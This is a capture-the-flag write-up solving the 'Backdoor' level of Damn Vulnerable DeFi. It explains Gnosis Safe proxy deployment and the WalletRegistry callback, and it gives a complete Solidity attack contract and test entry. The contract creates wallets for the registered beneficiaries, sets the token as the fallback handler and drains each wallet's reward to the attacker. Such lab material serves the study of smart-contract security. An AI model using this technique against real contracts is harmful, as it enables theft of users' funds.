Damn Vulnerable DeFi is a series of challenges focused on DeFi smart contract attacks. The content includes flash loan attacks, lending pools, on-chain oracles, and more. Before starting, you need to have skills related to Solidity and JavaScript. For each challenge, your goal is to ensure that the unit tests for that challenge pass.
Challenge link: https://www.damnvulnerabledefi.xyz/challenges/11.html
Challenge description:
To incentivize the creation of safer wallets, someone deployed the WalletRegistry contract. When someone registers as a beneficiary in this contract and creates a Gnosis Safe wallet, they will receive 10 DVT tokens in their wallet.
Currently, there are four people registered as beneficiaries: Alice, Bob, Charlie, and David. There are 40 DVT in the WalletRegistry contract.
Your goal is to steal these 40 DVT.
Before starting, you need to understand knowledge related to proxy contracts, multi-signature wallets, EVM memory layout, and Solidity inline assembly. This will not be elaborated on here.
If you are already familiar with the above content, you can officially begin.
However, before that, it is necessary to introduce the contract architecture of Gnosis Safe
version 1.3.0. Gnosis Safe
has three important contracts during the deployment phase:
GnosisSafeProxyFactory
GnosisSafeProxy
GnosisSafe
GnosisSafe
is the contract that handles multi-signature logic and is a pre-deployed contract. Its address on the Ethereum mainnet is 0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552
.
When we create a multi-signature wallet on the Gnosis Safe
website, the contract we interact with is actually GnosisSafeProxyFactory
, which creates and deploys the GnosisSafeProxy
proxy contract. The logic contract address of the proxy contract is the already deployed GnosisSafe
contract. Therefore, the multi-signature wallet we create is actually the GnosisSafeProxy
proxy contract.
Due to the use of this proxy model, all data is stored in the GnosisSafeProxy
contract, which has the following advantages:
- Since the multi-signature logic can be reused, the proxy model avoids the repeated deployment of the logic contract. This can save gas fees for users creating multi-signature wallets.
- Data will be stored in the wallets created by users themselves, rather than being uniformly stored in the logic contract, achieving separation of data and logic for each multi-signature wallet.
The core method for deploying the proxy contract in GnosisSafeProxyFactory
is:
function deployProxy(
address _singleton,
bytes memory initializer,
bytes32 salt
) internal returns (GnosisSafeProxy proxy) {
require(isContract(_singleton), "Singleton contract not deployed");
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
if (initializer.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
}
}
The parameters of this method are as follows:
_singleton
: The address of the deployed logic contract.initializer
: Thecalldata
for thesetup
method of the logic contractGnosisSafeProxy
.salt
: Thesalt
value for deploying the contract, which is 32 bytes long.
The function internally uses two inline assembly functions, create2
and call
, which you can find more about at evm.codes.
create2(value, offset, size, salt)
deploys a contract and returns the contract address.
value
: The amount of ETH sent to the contract account during deployment, in wei.offset
: The starting position in memory.size
: The length starting from the starting position.salt
: Thesalt
value for deploying the contract, which is 32 bytes long.
call(gas, address, value, argsOffset, argsSize, retOffset, retSize)
calls a contract method.
gas
: The required gas.address
: The target contract address.value
: The ETH sent to the target contract.argsOffset
: The starting position of the sentcalldata
in memory.argsSize
: The length of the sentcalldata
.retOffset
: The starting position in memory for writing the return value.retSize
: The length of the return value.
Since deployProxy
is internal
, the GnosisSafeProxyFactory
contract exposes the following two methods for external calls to create proxy contracts:
// Create a proxy contract using nonce
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatenating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
proxy = deployProxy(_singleton, initializer, salt);
emit ProxyCreation(proxy, _singleton);
}
// Create a proxy contract and call the callback contract's proxyCreated method
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
Returning to the challenge, the WalletRegistry
contract inherits from IProxyCreationCallback
, and in the above method createProxyWithCallback
, there is a line of code:
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
When callback
exists, it calls its proxyCreated
method. That is, if callback
is in WalletRegistry
, it calls its proxyCreated
method:
function proxyCreated(
GnosisSafeProxy proxy, // Proxy contract
address singleton, // Logic contract address
bytes calldata initializer, // Initialization data
uint256
) external override {
// Ensure the contract has 10 DVT
require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
// Get wallet address
address payable walletAddress = payable(proxy);
// Ensure the caller is GnosisSafeProxyFactory
require(msg.sender == walletFactory, "Caller must be factory");
require(singleton == masterCopy, "Fake mastercopy used");
// Ensure the first four bytes of initializer are the selector for GnosisSafe.setup function
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");
require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");
// Get the wallet's owner
address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
// Ensure the owner is a beneficiary (only beneficiaries can be wallet owners)
require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");
// Remove owner as a beneficiary
_removeBeneficiary(walletOwner);
// Record the owner’s wallet address
wallets[walletOwner] = walletAddress;
// Transfer 10 DVT to the multi-signature wallet
token.transfer(walletAddress, TOKEN_PAYMENT);
}
So far, we can summarize:
- The
WalletRegistry
contract can add beneficiary addresses, and beneficiaries can create multi-signature wallets and transfer 10 DVT to the wallet address. - Creating a multi-signature wallet requires calling the
createProxyWithCallback
method of theGnosisSafeProxyFactory
contract.- The
createProxyWithCallback
can pass in acallback
to call theproxyCreated
method. - If there is an
initializer
during the wallet creation process, it will be called.
- The
Currently, there are four beneficiaries, so four multi-signature wallets can be created, each containing 10 DVT.
The goal is to withdraw these DVT from the multi-signature wallets. However, we are not the owners of the wallets, so we need to find a way to transfer the DVT to our own account.
The key lies in the value of initializer
. As mentioned earlier, initializer
is the calldata
for the setup
method of the logic contract GnosisSafe
, which will be called when creating the wallet. The implementation of the setup
method is as follows:
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);
if (payment > 0) {
// To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
// baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}
Method parameters:
_owners
: Wallet owners._threshold
: The minimum number of approvals required to initiate a transaction.to
: The address of the contract to executedelegatecall
.data
: Thecalldata
for executingdelegatecall
.fallbackHandler
: The contract to handle calls to non-existent methods.paymentToken
: The address of the token for payment.payment
: The payment amount.paymentReceiver
: The recipient of the payment.
The fallbackHandler
is a contract address that will be called when we call a non-existent method. For example, when calling transfer
, if this method does not exist in GnosisSafe
, it will call fallbackHandler.transfer
. Therefore, we can set fallbackHandler
to the address of the DVT contract and pass in the relevant parameters.
Here is the attack contract BackdoorAttack.sol
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "../backdoor/WalletRegistry.sol";
interface IGnosisSafe {
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external;
}
contract BackdoorAttack {
constructor (
address registry,
address masterCopy,
GnosisSafeProxyFactory walletFactory,
IERC20 token,
address[] memory beneficiaries
) {
// Iterate over beneficiaries and create wallets
for (uint i = 0; i < beneficiaries.length; i++) {
address beneficiary = beneficiaries[i];
address[] memory owners = new address[](1);
owners[0] = beneficiary;
bytes memory initializer = abi.encodeWithSelector(
IGnosisSafe.setup.selector, // setup method selector
// Following are the parameters for the setup method
owners, // _owners
1, // _threshold
address(0), // to
hex"00", // data
address(token), // fallbackHandler
address(0), // paymentToken
0, // payment
address(0x0) // paymentReceiver
);
// Create wallet
GnosisSafeProxy proxy = walletFactory.createProxyWithCallback(
masterCopy, // Logic contract address
initializer, // setup calldata
0, // saltNonce
WalletRegistry(registry) // callback
);
address wallet = address(proxy);
// Call the wallet (proxy contract) transfer method, equivalent to calling the logic contract's transfer method, which means calling fallbackHandler.transfer, i.e., token.transfer
IERC20(wallet).transfer(msg.sender, token.balanceOf(wallet));
}
}
}
Add the attack entry in the test file backdoor.challenge.js
:
it('Exploit', async function () {
await ethers.getContractFactory('BackdoorAttack', attacker).then(contract => contract.deploy(
this.walletRegistry.address,
this.masterCopy.address,
this.walletFactory.address,
this.token.address,
users
))
})
Finally, execute yarn backdoor
to pass the test!